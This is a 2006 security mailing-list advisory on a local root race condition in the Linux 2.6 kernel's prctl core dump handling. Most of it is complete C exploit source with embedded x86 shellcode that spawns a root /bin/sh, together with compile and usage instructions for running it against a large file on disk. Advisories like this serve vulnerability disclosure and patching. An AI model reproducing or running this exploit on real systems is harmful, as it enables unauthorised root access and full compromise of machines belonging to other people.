From: SecuriTeam <support@securiteam.com.>
To: list@securiteam.com
Date: 16 Jul 2006 12:58:42 +0200
Subject: [EXPL] Linux Kernel 2.6.x PRCTL Core Dump Handling (Exploit 2)
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Linux Kernel 2.6.x PRCTL Core Dump Handling (Exploit 2)
------------------------------------------------------------------------
SUMMARY
Improper handling of Core Dump allows attackers to gain local root
privileges in Linux, enabling them to execute arbitrary programs as root.
DETAILS
/*
Author: h00lyshit
Vulnerable: Linux 2.6 ALL
Type of Vulnerability: Local Race
Tested On : various distros
Vendor Status: unknown
**
Disclaimer:
In no event shall the author be liable for any damages
whatsoever arising out of or in connection with the use
or spread of this information.
Any use of this information is at the user's own risk.
**
Compile:
gcc h00lyshit.c -o h00lyshit
**
Usage:
h00lyshit <very big file on the disk>
**
Example:
h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
**
if y0u dont have one, make big file (~100MB) in /tmp with dd
and try to junk the cache e.g. cat /usr/lib/* >/dev/null
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/a.out.h>
#include <asm/unistd.h>
static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;
/* h00lyshit shell code */
__asm__ (" __excode: call 1f \n"
" 1: mov $23, %eax \n"
" xor %ebx, %ebx \n"
" int $0x80 \n"
" pop %eax \n"
" mov $cmd-1b, %ebx \n"
" add %eax, %ebx \n"
" mov $arg-1b, %ecx \n"
" add %eax, %ecx \n"
" mov %ebx, (%ecx) \n"
" mov %ecx, %edx \n"
" add $4, %edx \n"
" mov $11, %eax \n"
" int $0x80 \n"
" mov $1, %eax \n"
" int $0x80 \n"
" arg: .quad 0x00, 0x00 \n"
" cmd: .string \"/bin/sh\" \n"
" __excode_e: nop \n"
" .global __excode \n"
" .global __excode_e \n"
);
extern void (*__excode) (void);
extern void (*__excode_e) (void);
void
error (char *err)
{
perror (err);
fflush (stderr);
exit (1);
}
/* exploit this shit */
void
exploit (char *file)
{
int i, fd;
void *p;
struct stat st;
printf ("\ntrying to exploit %s\n\n", file);
fflush (stdout);
chmod ("/proc/self/environ", 04755);
c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED |
MAP_ANONYMOUS, 0, 0);
memset ((void *) c, 0, 4096);
/* slow down machine */
fd = open (file, O_RDONLY);
fstat (fd, &st);
p =
(void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE,
fd, 0);
if (p == MAP_FAILED)
error ("mmap");
prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
sprintf (t, "/proc/%d/environ", getpid ());
sched_yield ();
execve (NULL, a, e);
madvise (0, 0, MADV_WILLNEED);
i = fork ();
/* give it a try */
if (i)
{
(*c)++;
!madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
sched_yield ();
}
else
{
nice(10);
while (!(*c));
sched_yield ();
execve (t, a, e);
error ("failed");
}
waitpid (i, NULL, 0);
exit (0);
}
int
main (int ac, char **av)
{
int i, j, k, s;
char *p;
memset (e, 0, sizeof (e));
memset (a, 0, sizeof (a));
a[0] = strdup (av[0]);
a[1] = strdup (av[0]);
a[2] = strdup (av[1]);
if (ac < 2)
error ("usage: binary <big file name>");
if (ac > 2)
exploit (av[2]);
printf ("\npreparing");
fflush (stdout);
/* make setuid a.out */
memset (&ex, 0, sizeof (ex));
N_SET_MAGIC (ex, NMAGIC);
N_SET_MACHTYPE (ex, M_386);
s = ((unsigned) &__excode_e) - (unsigned) &__excode;
ex.a_text = s;
ex.a_syms = -(s + sizeof (ex));
memset (b, 0, sizeof (b));
memcpy (b, &ex, sizeof (ex));
memcpy (b + sizeof (ex), &__excode, s);
/* make environment */
p = b;
s += sizeof (ex);
j = 0;
for (i = k = 0; i < s; i++)
{
if (!p[i])
{
e[j++] = &p[k];
k = i + 1;
}
}
/* reexec */
getcwd (t, sizeof (t));
strcat (t, "/");
strcat (t, av[0]);
execve (t, a, e);
error ("execve");
return 0;
}
/*EoF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:h00lyshit@yahoo.ie.> Joanna
R..
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